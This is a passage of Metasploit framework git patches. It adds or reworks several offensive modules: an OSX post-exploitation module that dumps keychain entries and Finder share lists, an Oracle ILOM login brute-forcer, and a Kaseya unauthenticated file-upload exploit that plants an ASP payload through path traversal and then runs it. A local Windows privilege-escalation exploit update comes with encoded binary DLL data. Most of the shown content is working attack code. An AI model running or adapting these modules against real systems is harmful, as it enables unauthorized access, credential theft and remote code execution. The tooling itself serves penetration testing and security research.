::Msf::Simple::Buffer.transform_formats.sort.join(", ") raise UsageError, msg end @@ -507,4 +507,4 @@ if __FILE__ == $0 $stderr.puts e.message exit(-1) end -end \ No newline at end of file +end From 3afa21c7218e8c4b70989d5d7f6ed392c5a634b2 Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Thu, 21 Nov 2013 23:55:24 +0100 Subject: [PATCH 11/61] Added favorite and recent shares to the output --- modules/post/osx/manage/mount_share.rb | 143 +++++++++++++++++++++---- 1 file changed, 122 insertions(+), 21 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index 0cf1ac3415..a85594a090 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -37,6 +37,8 @@ class Metasploit3 < Msf::Post OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']), OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), + OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']), + OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist']), OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) ], self.class) @@ -45,24 +47,59 @@ class Metasploit3 < Msf::Post def run fail_with("Invalid action") if action.nil? + username = cmd_exec('whoami') + security_path = datastore['SECURITY_PATH'].shellescape + sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape + recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape + if action.name == 'LIST' - saved_shares = get_share_list - if saved_shares.length == 0 - print_status("No Network Share credentials were found in the keyrings") - else - print_status("Network shares saved in keyrings:") - print_status("Protocol\tShare Name") - saved_shares.each do |line| - print_good(line) + if file?(security_path) + saved_shares = get_keyring_shares(security_path) + if saved_shares.length == 0 + print_status("No Network Share credentials were found in the keyrings") + else + print_status("Network shares saved in keyrings:") + print_status(" Protocol\tShare Name") + saved_shares.each do |line| + print_good(" #{line}") + end end + else + print_error("Could not check keyring contents: Security binary not found.") end - mounted_shares = get_mounted_list + if file?(sidebar_plist_path) + favorite_shares = get_favorite_shares(sidebar_plist_path) + if favorite_shares.length == 0 + print_status("No favorite shares were found") + else + print_status("Favorite shares (without stored credentials):") + favorite_shares.each do |line| + print_good(" #{line}") + end + end + else + print_error("Could not check sidebar favorites contents: Sidebar plist not found") + end + if file?(recent_plist_path) + recent_shares = get_recent_shares(recent_plist_path) + if recent_shares.length == 0 + print_status("No recent shares were found") + else + print_status("Recent shares (without stored credentials):") + recent_shares.each do |line| + print_good(" #{line}") + end + end + else + print_error("Could not check recent favorites contents: Recent plist not found") + end + mounted_shares = get_mounted_volumes if mounted_shares.length == 0 print_status("No volumes found in /Volumes") else print_status("Mounted Volumes:") mounted_shares.each do |line| - print_good(line) + print_good(" #{line}") end end elsif action.name == 'MOUNT' @@ -72,15 +109,15 @@ class Metasploit3 < Msf::Post end end - def get_share_list - vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") - data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") + def get_keyring_shares(security_path) + vprint_status("#{security_path} dump") + data = cmd_exec("#{security_path} dump") # Grep for desc srvr and ptcl tmp = [] lines = data.lines lines.each do |line| line.strip! - unless line !~ /desc|srvr|ptcl/ + if line =~ /desc|srvr|ptcl/ tmp.push(line) end end @@ -91,15 +128,79 @@ class Metasploit3 < Msf::Post if tmp[x] =~ /"desc"="Network Password"/ && x < tmp.length-3 # Remove everything up to the double-quote after the equal sign, # and also the trailing double-quote - protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') - server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') - list.push(protocol + "\t" + server) + if tmp[x+1] =~ /^.*\=\"(.*)\w*\"\w*$/ + protocol = $1 + if protocol =~ /smb|nfs|cifs|ftp|afp/ && tmp[x+2] =~ /^.*\=\"(.*)\"\w*$/ + server = $1 + list.push(protocol + "\t" + server) + end + end end end return list.sort end - def get_mounted_list + def get_favorite_shares(sidebar_plist_path) + vprint_status("defaults read #{sidebar_plist_path} favoriteservers") + data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers") + + # Grep for URL + list = [] + lines = data.lines + lines.each do |line| + line.strip! + if line =~ /^URL = \"(.*)\"\;$/ + list.push($1) + end + end + + vprint_status("defaults read #{sidebar_plist_path} favorites") + data = cmd_exec("defaults read #{sidebar_plist_path} favorites") + # Grep for EntryType and Name + tmp = [] + lines = data.lines + lines.each do |line| + line.strip! + if line =~ /EntryType|Name/ + tmp.push(line) + end + end + + # Go through the list, find the rows with EntryType 8 and their + # corresponding name + for x in 0..tmp.length-1 + if tmp[x] =~ /EntryType = 8;/ && x < tmp.length-2 + if tmp[x+1] =~ /^Name \= \"(.*)\"\;$/ + name = $1 + list.push(name) unless list.include?(name) + elsif tmp[x+1] =~ /^Name \= (.*)\;$/ + name = $1 + list.push(name) unless list.include?(name) + end + end + end + return list.sort + end + + def get_recent_shares(recent_plist_path) + vprint_status("defaults read #{recent_plist_path} RecentServers") + data = cmd_exec("defaults read #{recent_plist_path} RecentServers") + + # Grep for Name + list = [] + lines = data.lines + lines.each do |line| + line.strip! + if line =~ /^Name = \"(.*)\"\;$/ + list.push($1) unless list.include?($1) + elsif line =~ /^Name = (.*)\;$/ + list.push($1) unless list.include?($1) + end + end + return list.sort + end + + def get_mounted_volumes vprint_status("ls /Volumes") data = cmd_exec("ls /Volumes") list = [] @@ -112,10 +213,10 @@ class Metasploit3 < Msf::Post end def mount - share_name = datastore['VOLUME'] - protocol = datastore['PROTOCOL'] + share_name = datastore['VOLUME'].shellescape + protocol = datastore['PROTOCOL'].shellescape print_status("Connecting to #{protocol}://#{share_name}") - cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" + cmd = "osascript -e 'tell app \"finder\" to mount volume #{protocol}://#{share_name}'" vprint_status(cmd) cmd_exec(cmd) end From 4a6511311de7dda7531332c3e8ce710d9026c245 Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Fri, 22 Nov 2013 15:35:45 +0100 Subject: [PATCH 12/61] Code improvements according to feedback --- modules/post/osx/manage/mount_share.rb | 48 +++++++++----------------- 1 file changed, 16 insertions(+), 32 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index a85594a090..99b5e9d6b2 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -10,6 +10,8 @@ class Metasploit3 < Msf::Post include Msf::Post::File + REGEX_PROTO = "^.*\=\"(.*)\w*\"\w*$" + REGEX_SERVER = "^.*\=\"(.*)\"\w*$" def initialize(info={}) super( update_info( info, @@ -114,23 +116,18 @@ class Metasploit3 < Msf::Post data = cmd_exec("#{security_path} dump") # Grep for desc srvr and ptcl tmp = [] - lines = data.lines - lines.each do |line| - line.strip! - if line =~ /desc|srvr|ptcl/ - tmp.push(line) - end - end + lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip) + # Go through the list, find the saved Network Password descriptions # and their corresponding ptcl and srvr attributes list = [] - for x in 0..tmp.length-1 - if tmp[x] =~ /"desc"="Network Password"/ && x < tmp.length-3 + for x in 0..lines.length-1 + if lines[x] =~ /"desc"="Network Password"/ && x < lines.length-3 # Remove everything up to the double-quote after the equal sign, # and also the trailing double-quote - if tmp[x+1] =~ /^.*\=\"(.*)\w*\"\w*$/ + if lines[x+1].match(REGEX_PROTO) protocol = $1 - if protocol =~ /smb|nfs|cifs|ftp|afp/ && tmp[x+2] =~ /^.*\=\"(.*)\"\w*$/ + if protocol =~ /smb|nfs|cifs|ftp|afp/ && lines[x+2].match(REGEX_SERVER) server = $1 list.push(protocol + "\t" + server) end @@ -187,36 +184,23 @@ class Metasploit3 < Msf::Post data = cmd_exec("defaults read #{recent_plist_path} RecentServers") # Grep for Name - list = [] - lines = data.lines - lines.each do |line| - line.strip! - if line =~ /^Name = \"(.*)\"\;$/ - list.push($1) unless list.include?($1) - elsif line =~ /^Name = (.*)\;$/ - list.push($1) unless list.include?($1) - end - end - return list.sort + regexes = [ /^Name = \"(.*)\"\;$/, /^Name = (.*)\;$/ ] + list = data.lines.select{ |line| if regexes.any?{ |r| line.strip! =~ r } then $1 end }.compact.uniq.map(&:strip) + return list end def get_mounted_volumes vprint_status("ls /Volumes") data = cmd_exec("ls /Volumes") - list = [] - lines = data.lines - lines.each do |line| - line.strip! - list << line - end - return list.sort + list = data.lines.map(&:strip).sort + return list end def mount - share_name = datastore['VOLUME'].shellescape - protocol = datastore['PROTOCOL'].shellescape + share_name = datastore['VOLUME'] + protocol = datastore['PROTOCOL'] print_status("Connecting to #{protocol}://#{share_name}") - cmd = "osascript -e 'tell app \"finder\" to mount volume #{protocol}://#{share_name}'" + cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" vprint_status(cmd) cmd_exec(cmd) end From e157ff73d3e07e1d9fc9fe80ded35c441bb779f1 Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Mon, 25 Nov 2013 13:55:31 +0530 Subject: [PATCH 13/61] Oracle ILOM Login utility --- .../scanner/http/oracle_ilom_login.rb | 115 ++++++++++++++++++ 1 file changed, 115 insertions(+) create mode 100644 modules/auxiliary/scanner/http/oracle_ilom_login.rb diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb new file mode 100644 index 0000000000..780942e40a --- /dev/null +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Oracle ILO Manager Login Utility', + 'Description' => %{ + This module scans for Oracle Integrated Lights Out Manager login portal, and performs login brute force + to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE + + )) + + register_options( + [ + OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]), + Opt::RPORT(443) + ], self.class) + end + + def run_host(ip) + unless is_app_oilom? + return + end + + print_status("#{peer} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + # + # What's the point of running this module if the target actually isn't Oracle ILOM + # + + def is_app_oilom? + begin + res = send_request_cgi( + { + 'uri' => '/iPages/i_login.asp', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{peer} - HTTP Connection Failed...") + return false + end + + if (res and res.code == 200 and res.headers['Server'].include?("Oracle-ILOM-Web-Server") and res.body.include?("Integrated Lights Out Manager")) + vprint_good("#{peer} - Running Oracle Integrated Lights Out Manager portal...") + return true + else + vprint_error("#{peer} - Application is not Oracle ILOM. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/iPages/loginProcessor.asp', + 'method' => 'POST', + 'vars_post' => + { + 'sclink' => '', + 'username' => user, + 'password' => pass, + 'button' => 'Log+In' + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{peer} - HTTP Connection Failed...") + return :abort + end + + if (res and res.code == 200 and res.body.include?("/iPages/suntab.asp") or res.body.include?("SetWebSessionString")) + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'Oracle Integrated Lights Out Manager Portal', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + report_auth_info(report_hash) + return :next_user + else + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + end +end From bb0753fcddbf09f6fd86f3ea33432af31de0f9b5 Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Wed, 27 Nov 2013 16:00:00 +1300 Subject: [PATCH 14/61] Updated module to comply with indentation standard and to use suggestions from reviewers --- .../http/kaseya_uploadimage_file_upload.rb | 162 +++++++++--------- 1 file changed, 79 insertions(+), 83 deletions(-) diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb index 3c84875dde..d33ae5d8fa 100644 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -7,102 +7,98 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Kaseya uploadImage Arbitrary File Upload', - 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability found in Kaseya 6.3.0.0 - A malicious user can upload a file to an arbitrary directory without authentication, which can result in arbitrary code execution. -Code executed in this manner runs under the IUSR account. - }, - 'Author' => - [ - 'Thomas Hibbert' # cartel - ], - 'License' => MSF_LICENSE, - 'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']], - 'Payload' => {}, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => - [ - [ 'Kaseya KServer / Windows', {} ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 18 2013')) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaseya uploadImage Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability found in Kaseya versions below 6.3.0.2. + A malicious user can upload an ASP file to an arbitrary directory without authentication, leading to arbitrary code execution. + Code executed in this manner runs under an IUSR account. + }, + 'Author' => + [ + 'Thomas Hibbert MSF_LICENSE, + 'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']], + 'Payload' => {}, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Kaseya KServer / Windows', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 11 2013')) + end - register_options( - [ - Opt::RPORT(80), Opt::RHOST() - ], self.class) - end + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp') + }) + + # the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404 - def check - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri('SystemTab','uploadImage.asp') - }) + if not res or res.code != 500 + return Exploit::Faliure::UnexpectedReply + end - if not res or res.code != 200 - return Exploit::CheckCode::Unknown - end + return Exploit::CheckCode::Appears + end - return Exploit::CheckCode::Appears - end + def get_cookie + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("SystemTab", "uploadImage.asp") + }) - def get_cookie - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("SystemTab", "uploadImage.asp") - }) + if res and res.headers['Set-Cookie'] + cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + else + fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue") + end - if res and res.headers['Set-Cookie'] - cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] - else - fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue") - end + cookie + end - cookie - end + def exploit + peer = "#{rhost}:#{rport}" - def exploit - peer = "#{rhost}:#{rport}" + @payload_name = "#{rand_text_alpha_lower(8)}.asp" + exe = generate_payload_exe + asp = Msf::Util::EXE.to_exe_asp(exe) - @payload_name = "#{rand_text_alpha_lower(8)}.asp" - exe = generate_payload_exe - asp = Msf::Util::EXE.to_exe_asp(exe) + post_data = Rex::MIME::Message.new + post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}") - post_data = Rex::MIME::Message.new - post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"..\\#{@payload_name}\"") + data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + cookie = get_cookie + res = send_request_raw({ + "method" => "POST", + "uri" => normalize_uri("SystemTab","uploadImage.asp?filename=..\\..\\..\\..\\#{@payload_name}"), + "data" => data, + "ctype" => "multipart/form-data; boundary=#{post_data.bound}", + "cookie" => cookie + }) - data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + register_files_for_cleanup(@payload_name) - cookie = get_cookie - res = send_request_raw({ - 'method' => 'POST', - 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\..\\'+@payload_name), - 'data' => data, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", - 'cookie' => cookie - }) + if not res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + end - register_files_for_cleanup(@payload_name) - - if not res or res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") - end - - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_cgi({ - 'uri' => normalize_uri(@payload_name), - 'method' => 'GET' - }) - end - end + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(@payload_name), + 'method' => 'GET' + }) + end +end From defc0ebe5c76e652c59e0660ad7437ed8ecd153f Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 27 Nov 2013 20:00:50 +1000 Subject: [PATCH 15/61] ppr_flatten_rec update, RDI submodule, and refactor This commit contains a few changes for the ppr_flatten_rec local windows exploit. First, the exploit binary itself: * Updated to use the RDI submodule. * Updated to build with VS2013. * Updated to generate a binary called `ppr_flatten_rc.x86.dll`. * Invocation of the exploit requires address of the payload to run. Second, the module in MSF behaved a little strange. I expected it to create a new session with system privs and leave the existing session alone. This wasn't the case. It used to create an instance of notepad, migrate the _existing_ session to it, and run the exploit from there. This behaviour didn't seem to be consistent with other local exploits. The changes include: * Existing session is now left alone, only used as a proxy. * New notepad instance has exploit reflectively loaded. * New notepad instance has payload directly injected. * Exploit invocation takes the payload address as a parameter. * A wait is added as the exploit is slow to run (nature of the exploit). * Payloads are executed on successful exploit. --- data/exploits/cve-2013-3660/exploit.dll | Bin 51200 -> 0 bytes .../cve-2013-3660/ppr_flatten_rec.x86.dll | Bin 0 -> 72192 bytes .../source/exploits/cve-2013-3660/LICENSE.txt | 25 - .../source/exploits/cve-2013-3660/Readme.md | 71 --- .../cve-2013-3660/dll/reflective_dll.sln | 20 - .../cve-2013-3660/dll/reflective_dll.vcproj | 357 ------------- .../cve-2013-3660/dll/reflective_dll.vcxproj | 266 ---------- .../dll/reflective_dll.vcxproj.filters | 32 -- .../dll/src/ReflectiveDLLInjection.h | 51 -- .../cve-2013-3660/dll/src/ReflectiveLoader.c | 496 ------------------ .../cve-2013-3660/dll/src/ReflectiveLoader.h | 202 ------- .../exploits/cve-2013-3660/make.msbuild | 18 + .../cve-2013-3660/ppr_flatten_rec.sln | 22 + .../src => ppr_flatten_rec}/ComplexPath.h | 51 +- .../ppr_flatten_rec.c} | 98 ++-- .../ppr_flatten_rec/ppr_flatten_rec.vcxproj | 141 +++++ .../ppr_flatten_rec.vcxproj.filters | 9 + .../source/exploits/cve-2013-3660/rdi.sln | 20 - external/source/exploits/make.bat | 7 + .../exploits/windows/local/ppr_flatten_rec.rb | 110 ++-- 20 files changed, 342 insertions(+), 1654 deletions(-) delete mode 100755 data/exploits/cve-2013-3660/exploit.dll create mode 100755 data/exploits/cve-2013-3660/ppr_flatten_rec.x86.dll delete mode 100755 external/source/exploits/cve-2013-3660/LICENSE.txt delete mode 100755 external/source/exploits/cve-2013-3660/Readme.md delete mode 100755 external/source/exploits/cve-2013-3660/dll/reflective_dll.sln delete mode 100755 external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj delete mode 100755 external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj delete mode 100755 external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters delete mode 100755 external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h delete mode 100755 external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c delete mode 100755 external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h create mode 100755 external/source/exploits/cve-2013-3660/make.msbuild create mode 100755 external/source/exploits/cve-2013-3660/ppr_flatten_rec.sln rename external/source/exploits/cve-2013-3660/{dll/src => ppr_flatten_rec}/ComplexPath.h (96%) rename external/source/exploits/cve-2013-3660/{dll/src/ReflectiveDll.c => ppr_flatten_rec/ppr_flatten_rec.c} (90%) create mode 100755 external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj create mode 100755 external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj.filters delete mode 100755 external/source/exploits/cve-2013-3660/rdi.sln diff --git a/data/exploits/cve-2013-3660/exploit.dll b/data/exploits/cve-2013-3660/exploit.dll deleted file mode 100755 index cbb761b5684f8cb8368acd08e349616f8e5fab04..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 51200 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 